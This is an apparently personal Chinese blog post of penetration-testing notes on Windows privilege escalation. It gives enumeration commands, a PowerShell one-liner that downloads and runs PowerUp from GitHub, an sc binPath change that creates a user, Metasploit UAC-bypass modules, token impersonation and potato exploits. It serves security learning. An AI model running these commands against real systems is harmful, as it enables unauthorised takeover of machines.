freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内网渗透学习笔记整理Trick
2024-08-01 09:23:16

Windows提权

学习windows提权,bypass UAC(内核提权会用exp打就行)
常见的Windows提权方法分为:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等

下面我们讲述一下这些常见的提权方式

#手工查找补丁情况
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn

#MSF后渗透扫描
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester

#windows exploit suggester
https://github.com/AonCyberLabs/Windows-Exploit-Suggester

#powershell中的sherlock脚本
Import-Module C:\Sherlock.ps1 #下载ps1脚本,导入模块
Find-AllVulns

#Empire内置模块 Empire框架也提供了关于内核溢出漏洞提权的漏洞利用方法
usemodule privesc/powerup/allchecks
execute

提供一些缺失补丁系统版本的

https://github.com/SecWiki/windows-kernel-exploits
https://bugs.hacking8.com/tiquan/
https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevation
https://www.exploit-db.com/
https://i.hacking8.com/tiquan/

基础提权命令

查询系统信息
systeminfo 
如果要查看特定的信息,可以使用
systeminfo | findstr /B /C:"OS名称" /C:"OS版本"
主机名
Hostname
环境变量
Set
查看用户信息
Net user
查看服务pid号
Tasklist /svc|find "TermService"
netstat -ano|find "3389"
查看系统名
wmic os get caption
查看补丁信息
wmic qfe get Description,HotFixID,InstalledOn
如果要定位到特定的补丁可以使用如下命令
wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094"
查看当前安装程序
wmic product get name,version

错误配置提权

#powerup提供了一些本地提权的方法,可以通过很多实用的脚本来寻找目标机器的windows服务漏洞
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
可直接通过powershell远程加载
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"


#msf 对应的模块为exploit/windows/local/service_permissions  但前提是获得一个会话
run exploit/windows/local/service_permissions #自动化提权,回来的的权限就是system


#当工具无法使用时,也可以手工查找,使用Windows内建工具icacls查看服务启动路径中写权限
例如:icacls "C:\Program Files"
icacls "C:\Program Files\Common Files"

#查看指定目录的权限配置情况
accesschk.exe -dqv "D:\test" -accepteula
参数说明:“M”表示修改,“F”代表完全控制,“CI”代表从属容器将继承访问控制项,“OI”代表从属文件将继承访问控制项。

#检查服务 如果是.SERVICE_ALL_ACCESS的意思是我们对“Vulnerable Service”的属性拥有完全控制权
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
sc qc 服务名   #查看可以完全控制的服务的属性。

辅助提权站点

这里进行细分,我们了解一下什么是系统服务权限配置错误
原理:在Windows系统服务文件在操作系统启动时加载并执行,并调用可执行文件。这时当一个低权限用户存在可执行文件读写权限,就可以将该文件进行替换,从而随着系统服务启动获取系统权限。一般情况下,Windows是以System权限执行

accesschk工具

下载链接:https://download.sysinternals.com/files/SysinternalsSuite.zip
命令如下

accesschk.exe -uwcqv "XXX" * /accepteula > 1.txt //这里XXX为当前用户名

如果出现SERVICE_ALL_ACCESS表示当前用户拥有修改权限
image.png
进一步查看该服务的启动权限,这里以VMTools为例
执行命令sc qc VMTools
image.png
然后利用 sc 命令修改执行文件路径

# 注意这里的"="后面要留有空格
sc config VMTools binPath= "net user test1 P@ssw0rd /add"

# 查看查询该服务的执行路径是否修改成功
sc qc VMTools

# 记得重启服务
sc stop VMTools
sc start VMTools

# 这里启动时可能存在报错,服务和Windows系统服务控制管理器通信会被认为错误,但命令会正常执行

自带命令icacls
命令如下

确定写入权限:icacls "C:\Program Files\program folder"
## 定义:
「M」表示修改、「F」表示完全控制
「CI」代表从属容器将继承访问控制项
「OI」代表从属文件将继承访问控制项

常用命令
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files(x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Program Files(x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"

PowerSploit

利用powershell命令远程下载调用

powershell.exe -exec bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"

powershell.exe -exec bypass -Command "& {Import-Module D:/PowerUp.ps1; Invoke-AllChecks}" > 1.txt

image.png

  • ServiceName:可能存在漏洞的服务

  • Path:该服务的可执行程序的路径

  • StartName:服务运行账号

  • AbuseFunction:利用方式

执行命令,这里以VMTools为例
添加 test用户

powershell.exe -exec bypass -Command "& {Import-Module C:/PowerUp.ps1;Invoke-ServiceAbuse -Name 'VGAuthService' -Username test -Password 123456}"

Bypass UAC

#Msf
exploit/windows/local/ask       #弹出UAC确认窗口,点击后获得system权限

exploit/windows/local/bypassuac  #此模块将通过进程注入使用可信任发布者证书绕过Windows UAC,它将生成关闭UAC标志的第二个shell。

exploit/windows/local/bypassuac_injection #此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()


exploit/windows/local/bypassuac_fodhelper#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。

exploit/windows/local/bypassuac_eventvwr#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()

exploit/windows/local/bypassuac_comhijack#此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL,这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项,这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件,因此,如果cmd.exe访问受到限制,此模块将无法正常运行。

#Powershell
Invoke-PsUACme

#Empire
usemodule privesc/bypassuac
usemodule privesc/bypassuac_wscript

令牌窃取-可用

访问令牌(Access Token):表示访问控制操作主体的系统对象 。
会话令牌(Session Token):是交互会话中唯一的身份标识符。
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾。

#msf 拿到一个会话
use incognito           #进入incognito模块
list_tokens -u          #列出令牌
Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话。

这里窃取令牌,主要是窃取进程中的令牌
#使用令牌假冒用户
impresonate_Token "令牌名"

Windows-Exploit-Suggester

直接调用进行搜索缺失补丁提权
image.png

土豆系列提权!!!

这里如果是哥斯拉上马,是可以用自带的土豆系列提权
附上:
https://github.com/breenmachine/RottenPotatoNG/(烂土豆)
直接来个复现咯,Windows烂土豆本地复现
https://github.com/CCob/SweetPotato(甜土豆)

说了这么多,那究竟什么是土豆系列呢?当然,你也可以理解为生活中的土豆哈哈哈。原理如下,烂土豆简介(MS16-075提权),是只针对本地用户,这里不支持域用户。当攻击者转发同意计算机上的其他服务身份验证时,利用 Miscrosoft服务器消息块SMB存在特权提权漏洞
影响版本:**Windows 7、Windows 8.1、Windows 10、Windows Server 2008、Windows Server 2012 **等,以上版本系统若未安装相应补丁,则大概率存在此漏洞。

提权原理:

  1. 欺骗 "NT AUTHORITY\SYSTEM" 账户通过NTLM认证到我们控制的TCP终端。

  2. 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌(过程为通过一系列的Windows API调用)。

  3. 模仿这个令牌,只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

甜土豆

Sweetpotato.exe -l 8888 -a "whoami"

这里如果我们有CS,也可以调用武器库直接提权

提权的姿势五花八门,可参考学习以下链接,实战遇到的话

# 漏洞 # 渗透测试 # 内网渗透
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录